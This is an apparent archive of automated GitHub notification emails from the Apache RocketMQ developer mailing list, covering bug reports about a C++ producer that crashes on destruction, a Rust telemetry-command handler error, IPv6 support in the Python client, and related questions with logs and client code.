[2024/04/26-14:52:29.206 +08:00] [rocketmq_logger] [---W---] [thread 17671]
Failed to write telemetry command settings {
client_type: PRODUCER
access_point {
scheme: IPv4
addresses {
host: "xxx.xx.xx.xx"
port:
}
}
request_timeout {
seconds: 3
}
publishing {
topics {
name: ""
}
max_body_size: 4194304
}
user_agent {
language: CPP
version: "5.0.0"
platform: "Linux 64-bit"
hostname: "xx"
}
}
to ipv4:xxx.xx.xx.xx:
rocketmq_5/build/rocketmq-clients/cpp/source/client/TelemetryBidiReactor.cpp:77
[2024/04/26-14:52:29.206 +08:00] [rocketmq_logger] [---I---] [thread 17671]
ipv4:xxx.xx.xx.xx:#fireClose
rocketmq_5/build/rocketmq-clients/cpp/source/client/TelemetryBidiReactor.cpp:297
[2024/04/26-14:52:29.206 +08:00] [rocketmq_logger] [---D---] [thread 17671]
ipv4:xxx.xx.xx.xx:#OnDone, status.ok=false
rocketmq_5/build/rocketmq-clients/cpp/source/client/TelemetryBidiReactor.cpp:329
[2024/04/26-14:52:29.206 +08:00] [rocketmq_logger] [---W---] [thread 17671]
ipv4:xxx.xx.xx.xx:#OnDone, status.error_code=14,
status.error_message=failed to connect to all addresses, status.error_details=
rocketmq_5/build/rocketmq-clients/cpp/source/client/TelemetryBidiReactor.cpp:331
然后程序就一直卡主, 每隔一段时间打印一次下面的日志
[2024/04/26-15:09:50.091 +08:00] [rocketmq_logger] [---I---] [thread 17632]
Execute task: heartbeat-task. Use-count: 2
/home/wangtengfei/mogic/mogic-cg-fusion/third_party/prebuild/third_party/rocketmq_5/build/rocketmq-clients/cpp/source/scheduler/SchedulerImpl.cpp:165
GitHub link: https://github.com/apache/rocketmq-clients/discussions/733
This is an automatically sent email for dev@rocketmq.apache.org.
To unsubscribe, please send an email to: dev-unsubscr...@rocketmq.apache.org
Re: [D] [crash bug] c++ rocketmq::Producer析构时程序crash [rocketmq-clients]
GitHub user cgeffect edited a discussion: [crash bug] c++
rocketmq::Producer析构时程序crash
在执行 rocketmq::ProducerBuilder::build()代码时, 报了下面的日志信息
rocketmq_5/build/rocketmq-clients/cpp/source/client/TelemetryBidiReactor.cpp:292
[2024/04/26-14:52:29.196 +08:00] [rocketmq_logger] [---D---] [thread 16766]
[Outbound] /apache.rocketmq.v2.MessagingService/Telemetry: Buffer: 123bytes
rocketmq_5/build/rocketmq-clients/cpp/source/client/LogInterceptor.cpp:63
[2024/04/26-14:52:29.205 +08:00] [rocketmq_logger] [---D---] [thread 17671]
[Inbound]Response metadata of /apache.rocketmq.v2.MessagingService/Telemetry is
empty rocketmq_5/build/rocketmq-clients/cpp/source/client/LogInterceptor.cpp:79
[2024/04/26-14:52:29.206 +08:00] [rocketmq_logger] [---D---] [thread 17671]
OnWriteDone: false
rocketmq_5/build/rocketmq-clients/cpp/source/client/TelemetryBidiReactor.cpp:67
[2024/04/26-14:52:29.206 +08:00] [rocketmq_logger] [---W---] [thread 17671]
Failed to write telemetry command settings {
client_type: PRODUCER
access_point {
scheme: IPv4
addresses {
host: "xxx.xx.xx.xx"
port:
}
}
request_timeout {
seconds: 3
}
publishing {
topics {
name: ""
}
max_body_size: 4194304
}
user_agent {
language: CPP
version: "5.0.0"
platform: "Linux 64-bit"
hostname: "xx"
}
}
to ipv4:xxx.xx.xx.xx:
rocketmq_5/build/rocketmq-clients/cpp/source/client/TelemetryBidiReactor.cpp:77
[2024/04/26-14:52:29.206 +08:00] [rocketmq_logger] [---I---] [thread 17671]
ipv4:xxx.xx.xx.xx:#fireClose
rocketmq_5/build/rocketmq-clients/cpp/source/client/TelemetryBidiReactor.cpp:297
[2024/04/26-14:52:29.206 +08:00] [rocketmq_logger] [---D---] [thread 17671]
ipv4:xxx.xx.xx.xx:#OnDone, status.ok=false
rocketmq_5/build/rocketmq-clients/cpp/source/client/TelemetryBidiReactor.cpp:329
[2024/04/26-14:52:29.206 +08:00] [rocketmq_logger] [---W---] [thread 17671]
ipv4:xxx.xx.xx.xx:#OnDone, status.error_code=14,
status.error_message=failed to connect to all addresses, status.error_details=
rocketmq_5/build/rocketmq-clients/cpp/source/client/TelemetryBidiReactor.cpp:331
然后程序就一直卡主, 每隔一段时间打印一次下面的日志
[2024/04/26-15:09:50.091 +08:00] [rocketmq_logger] [---I---] [thread 17632]
Execute task: heartbeat-task. Use-count: 2
/home/wangtengfei/mogic/mogic-cg-fusion/third_party/prebuild/third_party/rocketmq_5/build/rocketmq-clients/cpp/source/scheduler/SchedulerImpl.cpp:165
GitHub link: https://github.com/apache/rocketmq-clients/discussions/733
This is an automatically sent email for dev@rocketmq.apache.org.
To unsubscribe, please send an email to: dev-unsubscr...@rocketmq.apache.org
Re: [D] [crash bug] c++ rocketmq::Producer析构时程序crash [rocketmq-clients]
GitHub user cgeffect deleted a comment on the discussion: [crash bug] c++ rocketmq::Producer析构时程序crash 又确认了一遍, 和topic是否提前在控制台注册与否没关系, 是rocketmq::Producer析构导致的crash GitHub link: https://github.com/apache/rocketmq-clients/discussions/733#discussioncomment-9189987 This is an automatically sent email for dev@rocketmq.apache.org. To unsubscribe, please send an email to: dev-unsubscr...@rocketmq.apache.org
Re: [D] Problem encountered during client connection [rocketmq-clients]
GitHub user mengwuzhi added a comment to the discussion: Problem encountered during client connection I'm not very sure if it is a problem with my server, It happened in both production and development environments simultaneously. I can test but no touch with the production server. On my own server, I can view both the broker and namesrv logs. However, I'm not very sure whether the endpoint should be set to the broker's port number or the server's port number. Actually, no issues can be seen in the broker log, but after I set the endpoint to the namesrv's port, I can see an error in the log. It says  I don't know why I was just registering as a consumer, but the frame length i too long to be discarded. GitHub link: https://github.com/apache/rocketmq-clients/discussions/736#discussioncomment-9233192 This is an automatically sent email for dev@rocketmq.apache.org. To unsubscribe, please send an email to: dev-unsubscr...@rocketmq.apache.org
Re: [D] Problem encountered during client connection [rocketmq-clients]
GitHub user leizhiyuan added a comment to the discussion: Problem encountered during client connection It should be an issue with your server, check the proxy logs. GitHub link: https://github.com/apache/rocketmq-clients/discussions/736#discussioncomment-9232741 This is an automatically sent email for dev@rocketmq.apache.org. To unsubscribe, please send an email to: dev-unsubscr...@rocketmq.apache.org
Re: [D] Rust clients: I have an error for "..." while consuming a message. [rocketmq-clients]
GitHub user ppluck deleted a comment on the discussion: Rust clients: I have an
error for "..." while consuming a message.
supplement：
I find this error while I debuged。
client.rs 285, here method only mathed RecoverOrphanedTransactionCommand，
actually has others：
```rust
Settings(super::Settings),
ThreadStackTrace(super::ThreadStackTrace),
VerifyMessageResult(super::VerifyMessageResult),
RecoverOrphanedTransactionCommand(super::RecoverOrphanedTransactionCommand),
PrintThreadStackTraceCommand(super::PrintThreadStackTraceCommand),
VerifyMessageCommand(super::VerifyMessageCommand),
```
```rust
async fn handle_telemetry_command(
mut rpc_client: T,
transaction_checker: >,
endpoints: Endpoints,
command: pb::telemetry_command::Command,
) -> Result<(), ClientError> {
return match command {
RecoverOrphanedTransactionCommand(command) => {
let transaction_id = command.transaction_id;
let message = command.message.unwrap();
let message_id = message
.system_properties
.as_ref()
.unwrap()
.message_id
.clone();
let topic = message.topic.as_ref().unwrap().clone();
if let Some(transaction_checker) = transaction_checker {
let resolution = transaction_checker(
transaction_id.clone(),
MessageView::from_pb_message(message, endpoints),
);
let response = rpc_client
.end_transaction(EndTransactionRequest {
topic: Some(topic),
message_id: message_id.to_string(),
transaction_id,
resolution: resolution as i32,
source: TransactionSource::SourceServerCheck as i32,
trace_context: "".to_string(),
})
.await?;
Self::handle_response_status(response.status,
OPERATION_END_TRANSACTION)
} else {
Err(ClientError::new(
ErrorKind::Config,
"failed to get transaction checker",
OPERATION_END_TRANSACTION,
))
}
}
_ => Err(ClientError::new(
ErrorKind::Config,
"receive telemetry command but there is no handler",
OPERATION_HANDLE_TELEMETRY_COMMAND,
)
.with_context("command", format!("{:?}", command))),
};
}
```
GitHub link:
https://github.com/apache/rocketmq-clients/discussions/737#discussioncomment-9232445
This is an automatically sent email for dev@rocketmq.apache.org.
To unsubscribe, please send an email to: dev-unsubscr...@rocketmq.apache.org
Re: [D] Rust clients: I have an error for "..." while consuming a message. [rocketmq-clients]
GitHub user ppluck edited a discussion: Rust clients: I have an error for "..."
while consuming a message.
I need your help. thanks!
---
- rmq cluster: 5.0
- the log:
```text
INFO create session success, peer: ...
DEBG start session success, peer: ...
DEBG query route for topic=test-topic, component: ...
DEBG receive telemetry command: TelemetryCommand { status: Some(Status { code:
Ok, ...
DEBG send heartbeat to server success, peer=...
ERRO \client.rs:196:33] handle telemetry command failed: Failed to parse config
at client.handle_telemetry_command =>
receive telemetry command but there is no handler
Context:
command: Settings(Settings { client_type: Some(SimpleConsumer),
access_point: None, ...
DEBG query route for topic=test-topic success: route=Route { index: 0, queue:
[MessageQueue ...
INFO update route for topic=test-topic, component: client
INFO simple_consumer.rs:99:9] start simple consumer success, client_id: ...
DEBG client.rs:201:25] receive shutdown signal, stop heartbeat task and
telemetry command handler,...
INFO client.rs:206:13] heartbeat task and telemetry command handler are
stopped,...
```
- code:
```rust
let mut consumer_option = SimpleConsumerOption::default();
consumer_option.set_topics(vec!["test-topic"]);
consumer_option.set_consumer_group("CG-test");
// set which rocketmq proxy to connect
let mut client_option = ClientOption::default(); // producer type
client_option.set_access_url("localhost:8081");
client_option.set_access_key("CG-test"); // This is a company agreement
client_option.set_secret_key("CT-"); // This is a company agreement
// build and start simple consumer
let mut consumer = SimpleConsumer::new(consumer_option,
client_option).unwrap();
consumer.start().await.unwrap();
// pop message from rocketmq proxy
let receive_result = consumer
.receive(
"test-topic".to_string(),
::new(FilterType::Tag, "*"),
)
.await;
let messages = receive_result.unwrap();
for message in messages {
println!("receive message: {:?}", message);
// ack message to rocketmq proxy
let ack_result = consumer.ack().await;
}
```
---
supplement：
I find this error while I debuged。
client.rs 285, here method only mathed RecoverOrphanedTransactionCommand，
actually has others：
```rust
Settings(super::Settings),
ThreadStackTrace(super::ThreadStackTrace),
VerifyMessageResult(super::VerifyMessageResult),
RecoverOrphanedTransactionCommand(super::RecoverOrphanedTransactionCommand),
PrintThreadStackTraceCommand(super::PrintThreadStackTraceCommand),
VerifyMessageCommand(super::VerifyMessageCommand),
```
```rust
async fn handle_telemetry_command(
mut rpc_client: T,
transaction_checker: >,
endpoints: Endpoints,
command: pb::telemetry_command::Command,
) -> Result<(), ClientError> {
return match command {
RecoverOrphanedTransactionCommand(command) => {
let transaction_id = command.transaction_id;
let message = command.message.unwrap();
let message_id = message
.system_properties
.as_ref()
.unwrap()
.message_id
.clone();
let topic = message.topic.as_ref().unwrap().clone();
if let Some(transaction_checker) = transaction_checker {
let resolution = transaction_checker(
transaction_id.clone(),
MessageView::from_pb_message(message, endpoints),
);
let response = rpc_client
.end_transaction(EndTransactionRequest {
topic: Some(topic),
message_id: message_id.to_string(),
transaction_id,
resolution: resolution as i32,
source: TransactionSource::SourceServerCheck as i32,
trace_context: "".to_string(),
})
.await?;
Self::handle_response_status(response.status,
OPERATION_END_TRANSACTION)
} else {
Err(ClientError::new(
ErrorKind::Config,
"failed to get transaction checker",
OPERATION_END_TRANSACTION,
))
}
}
_ => Err(ClientError::new(
ErrorKind::Config,
"receive telemetry command but there is no handler",
OPERATION_HANDLE_TELEMETRY_COMMAND,
)
.with_context("command", format!("{:?}", command))),
};
}
```
GitHub link: https://github.com/apache/rocketmq-clients/discussions/737
This is an automatically
Re: [D] Rust clients: I have an error for "..." while consuming a message. [rocketmq-clients]
GitHub user ppluck added a comment to the discussion: Rust clients: I have an
error for "..." while consuming a message.
supplement：
I find this error while I debuged。
client.rs 285, here method only mathed RecoverOrphanedTransactionCommand，
actually has others：
```rust
Settings(super::Settings),
ThreadStackTrace(super::ThreadStackTrace),
VerifyMessageResult(super::VerifyMessageResult),
RecoverOrphanedTransactionCommand(super::RecoverOrphanedTransactionCommand),
PrintThreadStackTraceCommand(super::PrintThreadStackTraceCommand),
VerifyMessageCommand(super::VerifyMessageCommand),
```
```rust
async fn handle_telemetry_command(
mut rpc_client: T,
transaction_checker: >,
endpoints: Endpoints,
command: pb::telemetry_command::Command,
) -> Result<(), ClientError> {
return match command {
RecoverOrphanedTransactionCommand(command) => {
let transaction_id = command.transaction_id;
let message = command.message.unwrap();
let message_id = message
.system_properties
.as_ref()
.unwrap()
.message_id
.clone();
let topic = message.topic.as_ref().unwrap().clone();
if let Some(transaction_checker) = transaction_checker {
let resolution = transaction_checker(
transaction_id.clone(),
MessageView::from_pb_message(message, endpoints),
);
let response = rpc_client
.end_transaction(EndTransactionRequest {
topic: Some(topic),
message_id: message_id.to_string(),
transaction_id,
resolution: resolution as i32,
source: TransactionSource::SourceServerCheck as i32,
trace_context: "".to_string(),
})
.await?;
Self::handle_response_status(response.status,
OPERATION_END_TRANSACTION)
} else {
Err(ClientError::new(
ErrorKind::Config,
"failed to get transaction checker",
OPERATION_END_TRANSACTION,
))
}
}
_ => Err(ClientError::new(
ErrorKind::Config,
"receive telemetry command but there is no handler",
OPERATION_HANDLE_TELEMETRY_COMMAND,
)
.with_context("command", format!("{:?}", command))),
};
}
```
GitHub link:
https://github.com/apache/rocketmq-clients/discussions/737#discussioncomment-9232445
This is an automatically sent email for dev@rocketmq.apache.org.
To unsubscribe, please send an email to: dev-unsubscr...@rocketmq.apache.org
[I] Does the rockermq-client-python support IPv6? [rocketmq-client-python]
Jasongsq opened a new issue, #149: URL: https://github.com/apache/rocketmq-client-python/issues/149 My rocketMQ install rocketmq v4.9.3, when I used rocketmq-client-python-2.0.0, SDK throw error like this "No route info of this topic xxx,error:"-1"", My topic name is correct and is exist in blocker。 When I access RocketMQ in an IPv4 network, there are no issues and I can send and consume messages normally. However, when connecting to RocketMQ in an IPv6 network, the above error occurs. Is this because the rockermq-client-python does not support IPv6? If I want to connect to RocketMQ over IPv6, what improvements are needed? -- This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the specific comment. To unsubscribe, e-mail: dev-unsubscr...@rocketmq.apache.org.apache.org For queries about this service, please contact Infrastructure at: us...@infra.apache.org
Re: [I] 我用 node-addon-api 封装了 rocketmq-client-cpp 如果有需要可以留言 [rocketmq-client-nodejs]
wuteng606 commented on issue #25: URL: https://github.com/apache/rocketmq-client-nodejs/issues/25#issuecomment-2071560253 是和[rocketmq-client-nodejs](https://github.com/apache/rocketmq-client-nodejs)功能一样的，只是升级了下版本兼容问题，如果可以，你可以直接看源码了解下 -- This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the specific comment. To unsubscribe, e-mail: dev-unsubscr...@rocketmq.apache.org For queries about this service, please contact Infrastructure at: us...@infra.apache.org
Re: [D] [crash bug] c++ rocketmq::Producer析构时程序crash [rocketmq-clients]
GitHub user cgeffect edited a discussion: [crash bug] c++ rocketmq::Producer析构时程序crash Linux centos, rocketmq 5.0.1版本 在一个函数内部创建了一个rocketmq::Producer, 注册的topic还没有在控制台创建, 出了函数作用域rocketmq::Producer析构. 程序crash [2024-04-22 18:41:01.045] [info] [ClientImpl.cpp:304] Create inflight route query cache for topic=algorithm_topic [2024-04-22 18:41:01.051] [warning] [ClientManagerImpl.cpp:602] TopicNotFound: CODE: 17 DESC: No topic route info in name server for the topic: algorithm_topic For more information, please visit the url, https://rocketmq.apache.org/docs/bestPractice/06FAQ. Host=dns:rmq-cn-x0r37m9fl03-vpc.cn-hangzhou.rmq.aliyuncs.com:8080 [2024-04-22 18:41:01.051] [warning] [ClientImpl.cpp:328] Failed to resolve route for topic=algorithm_topic from dns:rmq-cn-x0r37m9fl03-vpc.cn-hangzhou.rmq.aliyuncs.com:8080 [2024-04-22 18:41:01.051] [info] [ClientImpl.cpp:331] Change current name server from dns:rmq-cn-x0r37m9fl03-vpc.cn-hangzhou.rmq.aliyuncs.com:8080 to dns:rmq-cn-x0r37m9fl03-vpc.cn-hangzhou.rmq.aliyuncs.com:8080 [2024-04-22 18:41:01.051] [warning] [ClientImpl.cpp:438] Yuck! route for algorithm_topic is invalid. Cause: Request resource not found, which should be created through console or administration API before hand. [2024-04-22 18:41:01.051] [error] [ClientImpl.cpp:146] Failed to query route for algorithm_topic during starting. Cause: Request resource not found, which should be created through console or administration API before hand. [2024-04-22 18:41:01.052] [error] [ClientImpl.cpp:217] Unknown metric address scheme [2024-04-22 18:41:01.052] [info] [ClientImpl.cpp:194] Export client metrics to rmq-cn-x0r37m9fl03-vpc.cn-hangzhou.rmq.aliyuncs.com:8081 [2024-04-22 18:41:16.298] [info] [SchedulerImpl.cpp:165] Execute task: route_updater. Use-count: 2 [2024-04-22 18:41:16.298] [info] [SchedulerImpl.cpp:165] Execute task: heartbeat-task. Use-count: 2 [2024-04-22 18:41:16.298] [warning] [ClientImpl.cpp:389] No hosts to send heartbeat to at present [2024-04-22 18:41:16.298] [info] [SchedulerImpl.cpp:165] Execute task: heartbeat-task. Use-count: 2 [2024-04-22 18:41:16.298] [warning] [ClientImpl.cpp:389] No hosts to send heartbeat to at present [2024-04-22 18:41:16.299] [info] [ProducerImpl.cpp:62] Producer instance is destructed [2024-04-22 18:41:16.299] [info] [SchedulerImpl.cpp:155] Cancel task[task-id=2, name=route_updater] [2024-04-22 18:41:16.299] [info] [SchedulerImpl.cpp:155] Cancel task[task-id=3, name=client_settings_sync] [2024-04-22 18:41:16.299] [info] [ClientManagerImpl.cpp:122] Client manager shutdown [2024-04-22 18:41:16.308] [info] [SchedulerImpl.cpp:155] Cancel task[task-id=1, name=heartbeat-task] [2024-04-22 18:41:16.309] [info] [ClientManagerImpl.cpp:92] ClientManager[ResourceNamespace=] destructed [2024-04-22 18:41:16.309] [info] [ProducerImpl.cpp:91] Producer instance stopped [2024-04-22 18:41:16.309] [info] [TelemetryBidiReactor.cpp:297] dns:rmq-cn-x0r37m9fl03-vpc.cn-hangzhou.rmq.aliyuncs.com:8080#fireClose [2024-04-22 18:41:16.398] [warning] [RpcClientImpl.cpp:52] ClientManager has destructed. Response ignored [2024-04-22 18:41:39.693] [info] [TelemetryBidiReactor.cpp:297] dns:rmq-cn-x0r37m9fl03-vpc.cn-hangzhou.rmq.aliyuncs.com:8080#fireClose rocketmq::Producer对象不能析构吗? GitHub link: https://github.com/apache/rocketmq-clients/discussions/733 This is an automatically sent email for dev@rocketmq.apache.org. To unsubscribe, please send an email to: dev-unsubscr...@rocketmq.apache.org
Re: [D] 如何链接rocketmq静态库? [rocketmq-clients]
GitHub user cgeffect added a comment to the discussion: 如何链接rocketmq静态库? 已解决 GitHub link: https://github.com/apache/rocketmq-clients/discussions/729#discussioncomment-9190113 This is an automatically sent email for dev@rocketmq.apache.org. To unsubscribe, please send an email to: dev-unsubscr...@rocketmq.apache.org
Re: [D] c++ rocketmq::Producer析构时程序crash [rocketmq-clients]
GitHub user cgeffect edited a discussion: c++ rocketmq::Producer析构时程序crash 在一个函数内部创建了一个rocketmq::Producer, 注册的topic还没有在控制台创建, 出了函数作用域rocketmq::Producer析构. 程序crash [2024-04-22 18:41:01.045] [info] [ClientImpl.cpp:304] Create inflight route query cache for topic=algorithm_topic [2024-04-22 18:41:01.051] [warning] [ClientManagerImpl.cpp:602] TopicNotFound: CODE: 17 DESC: No topic route info in name server for the topic: algorithm_topic For more information, please visit the url, https://rocketmq.apache.org/docs/bestPractice/06FAQ. Host=dns:rmq-cn-x0r37m9fl03-vpc.cn-hangzhou.rmq.aliyuncs.com:8080 [2024-04-22 18:41:01.051] [warning] [ClientImpl.cpp:328] Failed to resolve route for topic=algorithm_topic from dns:rmq-cn-x0r37m9fl03-vpc.cn-hangzhou.rmq.aliyuncs.com:8080 [2024-04-22 18:41:01.051] [info] [ClientImpl.cpp:331] Change current name server from dns:rmq-cn-x0r37m9fl03-vpc.cn-hangzhou.rmq.aliyuncs.com:8080 to dns:rmq-cn-x0r37m9fl03-vpc.cn-hangzhou.rmq.aliyuncs.com:8080 [2024-04-22 18:41:01.051] [warning] [ClientImpl.cpp:438] Yuck! route for algorithm_topic is invalid. Cause: Request resource not found, which should be created through console or administration API before hand. [2024-04-22 18:41:01.051] [error] [ClientImpl.cpp:146] Failed to query route for algorithm_topic during starting. Cause: Request resource not found, which should be created through console or administration API before hand. [2024-04-22 18:41:01.052] [error] [ClientImpl.cpp:217] Unknown metric address scheme [2024-04-22 18:41:01.052] [info] [ClientImpl.cpp:194] Export client metrics to rmq-cn-x0r37m9fl03-vpc.cn-hangzhou.rmq.aliyuncs.com:8081 [2024-04-22 18:41:16.298] [info] [SchedulerImpl.cpp:165] Execute task: route_updater. Use-count: 2 [2024-04-22 18:41:16.298] [info] [SchedulerImpl.cpp:165] Execute task: heartbeat-task. Use-count: 2 [2024-04-22 18:41:16.298] [warning] [ClientImpl.cpp:389] No hosts to send heartbeat to at present [2024-04-22 18:41:16.298] [info] [SchedulerImpl.cpp:165] Execute task: heartbeat-task. Use-count: 2 [2024-04-22 18:41:16.298] [warning] [ClientImpl.cpp:389] No hosts to send heartbeat to at present [2024-04-22 18:41:16.299] [info] [ProducerImpl.cpp:62] Producer instance is destructed [2024-04-22 18:41:16.299] [info] [SchedulerImpl.cpp:155] Cancel task[task-id=2, name=route_updater] [2024-04-22 18:41:16.299] [info] [SchedulerImpl.cpp:155] Cancel task[task-id=3, name=client_settings_sync] [2024-04-22 18:41:16.299] [info] [ClientManagerImpl.cpp:122] Client manager shutdown [2024-04-22 18:41:16.308] [info] [SchedulerImpl.cpp:155] Cancel task[task-id=1, name=heartbeat-task] [2024-04-22 18:41:16.309] [info] [ClientManagerImpl.cpp:92] ClientManager[ResourceNamespace=] destructed [2024-04-22 18:41:16.309] [info] [ProducerImpl.cpp:91] Producer instance stopped [2024-04-22 18:41:16.309] [info] [TelemetryBidiReactor.cpp:297] dns:rmq-cn-x0r37m9fl03-vpc.cn-hangzhou.rmq.aliyuncs.com:8080#fireClose [2024-04-22 18:41:16.398] [warning] [RpcClientImpl.cpp:52] ClientManager has destructed. Response ignored [2024-04-22 18:41:39.693] [info] [TelemetryBidiReactor.cpp:297] dns:rmq-cn-x0r37m9fl03-vpc.cn-hangzhou.rmq.aliyuncs.com:8080#fireClose rocketmq::Producer对象不能析构吗? GitHub link: https://github.com/apache/rocketmq-clients/discussions/733 This is an automatically sent email for dev@rocketmq.apache.org. To unsubscribe, please send an email to: dev-unsubscr...@rocketmq.apache.org
Re: [D] c++ rocketmq::Producer析构时程序crash [rocketmq-clients]
GitHub user cgeffect edited a discussion: c++ rocketmq::Producer析构时程序crash Linux centos, rocketmq 5.0.1版本 在一个函数内部创建了一个rocketmq::Producer, 注册的topic还没有在控制台创建, 出了函数作用域rocketmq::Producer析构. 程序crash [2024-04-22 18:41:01.045] [info] [ClientImpl.cpp:304] Create inflight route query cache for topic=algorithm_topic [2024-04-22 18:41:01.051] [warning] [ClientManagerImpl.cpp:602] TopicNotFound: CODE: 17 DESC: No topic route info in name server for the topic: algorithm_topic For more information, please visit the url, https://rocketmq.apache.org/docs/bestPractice/06FAQ. Host=dns:rmq-cn-x0r37m9fl03-vpc.cn-hangzhou.rmq.aliyuncs.com:8080 [2024-04-22 18:41:01.051] [warning] [ClientImpl.cpp:328] Failed to resolve route for topic=algorithm_topic from dns:rmq-cn-x0r37m9fl03-vpc.cn-hangzhou.rmq.aliyuncs.com:8080 [2024-04-22 18:41:01.051] [info] [ClientImpl.cpp:331] Change current name server from dns:rmq-cn-x0r37m9fl03-vpc.cn-hangzhou.rmq.aliyuncs.com:8080 to dns:rmq-cn-x0r37m9fl03-vpc.cn-hangzhou.rmq.aliyuncs.com:8080 [2024-04-22 18:41:01.051] [warning] [ClientImpl.cpp:438] Yuck! route for algorithm_topic is invalid. Cause: Request resource not found, which should be created through console or administration API before hand. [2024-04-22 18:41:01.051] [error] [ClientImpl.cpp:146] Failed to query route for algorithm_topic during starting. Cause: Request resource not found, which should be created through console or administration API before hand. [2024-04-22 18:41:01.052] [error] [ClientImpl.cpp:217] Unknown metric address scheme [2024-04-22 18:41:01.052] [info] [ClientImpl.cpp:194] Export client metrics to rmq-cn-x0r37m9fl03-vpc.cn-hangzhou.rmq.aliyuncs.com:8081 [2024-04-22 18:41:16.298] [info] [SchedulerImpl.cpp:165] Execute task: route_updater. Use-count: 2 [2024-04-22 18:41:16.298] [info] [SchedulerImpl.cpp:165] Execute task: heartbeat-task. Use-count: 2 [2024-04-22 18:41:16.298] [warning] [ClientImpl.cpp:389] No hosts to send heartbeat to at present [2024-04-22 18:41:16.298] [info] [SchedulerImpl.cpp:165] Execute task: heartbeat-task. Use-count: 2 [2024-04-22 18:41:16.298] [warning] [ClientImpl.cpp:389] No hosts to send heartbeat to at present [2024-04-22 18:41:16.299] [info] [ProducerImpl.cpp:62] Producer instance is destructed [2024-04-22 18:41:16.299] [info] [SchedulerImpl.cpp:155] Cancel task[task-id=2, name=route_updater] [2024-04-22 18:41:16.299] [info] [SchedulerImpl.cpp:155] Cancel task[task-id=3, name=client_settings_sync] [2024-04-22 18:41:16.299] [info] [ClientManagerImpl.cpp:122] Client manager shutdown [2024-04-22 18:41:16.308] [info] [SchedulerImpl.cpp:155] Cancel task[task-id=1, name=heartbeat-task] [2024-04-22 18:41:16.309] [info] [ClientManagerImpl.cpp:92] ClientManager[ResourceNamespace=] destructed [2024-04-22 18:41:16.309] [info] [ProducerImpl.cpp:91] Producer instance stopped [2024-04-22 18:41:16.309] [info] [TelemetryBidiReactor.cpp:297] dns:rmq-cn-x0r37m9fl03-vpc.cn-hangzhou.rmq.aliyuncs.com:8080#fireClose [2024-04-22 18:41:16.398] [warning] [RpcClientImpl.cpp:52] ClientManager has destructed. Response ignored [2024-04-22 18:41:39.693] [info] [TelemetryBidiReactor.cpp:297] dns:rmq-cn-x0r37m9fl03-vpc.cn-hangzhou.rmq.aliyuncs.com:8080#fireClose rocketmq::Producer对象不能析构吗? GitHub link: https://github.com/apache/rocketmq-clients/discussions/733 This is an automatically sent email for dev@rocketmq.apache.org. To unsubscribe, please send an email to: dev-unsubscr...@rocketmq.apache.org
Re: [D] rocketmq::Producer析构时程序crash [rocketmq-clients]
GitHub user cgeffect added a comment to the discussion: rocketmq::Producer析构时程序crash 又确认了一遍, 和topic是否提前在控制台注册与否没关系, 是rocketmq::Producer析构导致的crash GitHub link: https://github.com/apache/rocketmq-clients/discussions/733#discussioncomment-9189987 This is an automatically sent email for dev@rocketmq.apache.org. To unsubscribe, please send an email to: dev-unsubscr...@rocketmq.apache.org
Re: [I] 我用 node-addon-api 封装了 rocketmq-client-cpp 如果有需要可以留言 [rocketmq-client-nodejs]
JanYork commented on issue #25: URL: https://github.com/apache/rocketmq-client-nodejs/issues/25#issuecomment-2068925805 功能是齐全的吗？ -- This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the specific comment. To unsubscribe, e-mail: dev-unsubscr...@rocketmq.apache.org For queries about this service, please contact Infrastructure at: us...@infra.apache.org
Re: [D] 如何链接rocketmq静态库? [rocketmq-clients]
GitHub user cgeffect deleted a comment on the discussion: 如何链接rocketmq静态库? 5.x版本在编译的时候可以禁用protobuf吗 GitHub link: https://github.com/apache/rocketmq-clients/discussions/729#discussioncomment-9144172 This is an automatically sent email for dev@rocketmq.apache.org. To unsubscribe, please send an email to: dev-unsubscr...@rocketmq.apache.org
